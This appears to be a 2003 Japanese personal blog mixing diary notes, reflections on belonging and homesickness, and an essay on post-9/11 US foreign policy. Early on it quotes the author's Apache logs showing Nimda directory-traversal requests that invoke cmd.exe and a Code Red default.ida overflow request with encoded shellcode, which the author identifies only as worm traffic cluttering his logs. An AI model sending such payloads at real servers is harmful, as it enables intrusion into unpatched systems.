なんか最近、あみだばばあが懐かしく思われる今日この頃です。 あ〜っみだっくじ〜あ〜っみだっくじ〜〜ひぃってたのしいぃあ〜っみだっくじ〜...
あの切ないメロデーがなんともいえません。
ところで、今日、アパッチのアクセスログをすこしみてみたところ下記のようなログがいっぱいありました。 === PATTERN 1 24.61.24.58 - - [03/Feb/2003:04:40:14 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 24.61.24.58 - - [03/Feb/2003:04:40:14 -0500] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 323 24.61.24.58 - - [03/Feb/2003:04:40:14 -0500] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 339 24.61.24.58 - - [03/Feb/2003:04:40:14 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 24.61.24.58 - - [03/Feb/2003:04:40:15 -0500] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 24.61.24.58 - - [03/Feb/2003:04:40:15 -0500] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 24.61.24.58 - - [03/Feb/2003:04:40:15 -0500] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 24.61.24.58 - - [03/Feb/2003:04:40:15 -0500] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 296 24.61.24.58 - - [03/Feb/2003:04:40:15 -0500] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 296 24.61.24.58 - - [03/Feb/2003:04:40:15 -0500] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306 24.61.24.58 - - [03/Feb/2003:04:40:15 -0500] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
=== PATTERN 2 61.146.15.110 - - [09/Feb/2003:02:44:10 -0500] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 317
PATTERN 1はNIMDAに感染したPCからのアタックです。 PATTERN 2はCODE REDに感染したPCからのアタックです。
両方ともセキュリティパッチを更新していないIISのサービスを立ち上げてる人にしかきかないのですが、このログが僕のログにもあるわあるわ。。。これらのウイルスはあれだけさわがれたのに、まだまだほっとく人がいるんですなあ。。。
別にいいんですけど、ログがすぐにいっぱいになるので、なんかやです、w。
テレビをみていて、ある場面でこんな会話がでてきました。 記憶喪失だったAが自分の過去を思い出し、すんでいた場所に旅立つ場面です。BはAの同居人です。
B: Are you going out? Where are you going, huh? A: I finally remember where it is that I belong. B: You belong.. A: You have someone waiting for you too. A: You are somewhere you belong. A: You should go and find out where. B: Fuu.. A: It's the best,belonging is the very best thing there is.
結局、Aのいったところはもうすでに荒地でそこにはだれもいませんでした。。
ここでbelongというのは帰るとこをさしていると思います。Aは帰るところをみつけた、でもそこにはもうなにもありませんでした。
こんなこと、現実世界でもよくありますよね。たとえば、昔、仲のよかった友達と久しぶりの再会をしたけれども、その人はもう自分の中で思い描いていた人ではなくなっていた、とか。
個人的な例をだせば、大学卒業した後、僕は大阪で働き出すのですが、あえて住むところを西宮のままにしました。それは、大学時代の楽しい思い出をどこかひきづっているところがあり、そこに住みつづければそのままの楽しさを味わえるのではないかという幻想からきたものです(もちろんそれだけが理由で住んだわけではないのですが...)。
でも、時はうつろいます。そこには僕の求めていた楽しさはなにもなく、結局、そこは引き払い、実家から通うことになります。
僕は自ら自分の環境をかえることができるひと、どんな環境にも適当できる人を尊敬します。なぜなら、それが僕にとってとても難しいことだからです。
大学に入学して西宮にすんでいた5年は僕はそこに適応していました。しかし、名古屋での1年半、そしてここでの2年半、それはとても適応しているとはいえません。
故郷や友をなつかしみ、どこか浮き足立った生活を送る毎日にずっと辟易しています。どこかなじめない、これは今の僕の大きな欠点なんだとおもってます。
一方、故郷の時の流れはほんとに緩やかです。今まで、いつ帰っても、みんなが笑って迎えてくれました。いつまでもつづいてほしいこの雰囲気。でも、どこかで、この雰囲気が限りあるものであることに気付いたとき、とても悲しい気持ちになります。
いつか両親はいなくなり、友は去るときがくる。だから今、このときを大切にいきなきゃいけない、そう思う今日この頃です。
今週はこまいいいことがいくつかありました、列挙列挙。
- 口内炎がなおる なんか先週当たりから口内炎がひどくなってきたので、おもいきって針でつついてやぶってみました。結果なんか、なおりなした。すばらしー
- ベットのぎしぎし解決策発見。 ベッドがギシギシいうてむかついてましたが、棒をはさむことによって直りました。すげー
- テニスラケット買う 単純にテニスしてたのしかった。
2003年05月03日(土) |
アメリカの外交と国民の意識。 |
私は田中 宇というジャーナリストのメールマガジンをとっています。 彼の記事は多少3面記事的な部分もあり、少し公正に欠いている気もするのですが、それでも楽しくよめるのでとりあえずとってます。
http://tanakanews.com/
以前、彼は"冷戦以降、アメリカ国民は自国の外交政策に対する関心を失ってしまった"ということを指摘していました。まだsep11以前の記事だったと思います。
この指摘は、たしかブッシュ大統領が就任し、京都議定書の承認を拒否したときになされたものだったとおもうのですが、つまり選挙の際、外交政策についての十分な議論がここ最近なされなくなったということです。ブッシュ大統領は就任後、京都議定書の承認拒否、中国への挑発、通商法301条の乱発など、自国の利益のためにはなりふりかまわないというそれまでの大統領にはあまりみられなかった外交を展開します。
この裏にはチェイニーという人物が裏をひいているわけですが、この当時はさすがにアメリカ国民も数々うちだされるこれらの政策と海外からの批判のため支持率を下げていきます。
これらの次第により、ブッシュはチェイニーと次第に距離をとるようになっていったと一部ではいわれていますが、これらの状況を一変するできごとが起こります。9/11です。
これ以来、勢力を徐々に失いかけていたチェイニーをはじめとする国防族は息をふきかえし、現在のネオコン全盛の時代へといきつくわけです。
アメリカはそもそもあまり自分から戦争をしかけていくタイプの国ではなく(ベトナムはどうだったかもしれませんが)どちらかというとやられてから倍返しというパターンでした。それも、それまで本土を攻められたことが無いというところから生まれている発想でしょう。ところが911のようなことがあると先手必勝のような雰囲気が流れ出し、そうしたタブーが破られてしまいました。
また、国民もそもそも冷戦以降、外交に対する関心がなかったことにより海外情勢に非常に疎く、911以降はマスメディアのやや偏向した報道により、どうもアメリカ中心のゆがんだ世界観を描きがちです。
実際、世論動向もイギリスなどは当初、戦争に対する賛成票が非常に低かったのとは対照的にアメリカは開戦前から高い支持を得ています。
アメリカはおそらく世界一の多民族国家であり、世界中の人々があつまってきます。私は大学にいたときなどは、クラスの約半分はインド人、あとの半分は中国人と数人のアメリカ人と私というクラス構成に非常におどろきました。
しかしながらそうした多様性とはうらはらにアメリカ国民の意識というのは日本などに比べても非常に内向的であるということがこうしたことからいえるとおもいます。
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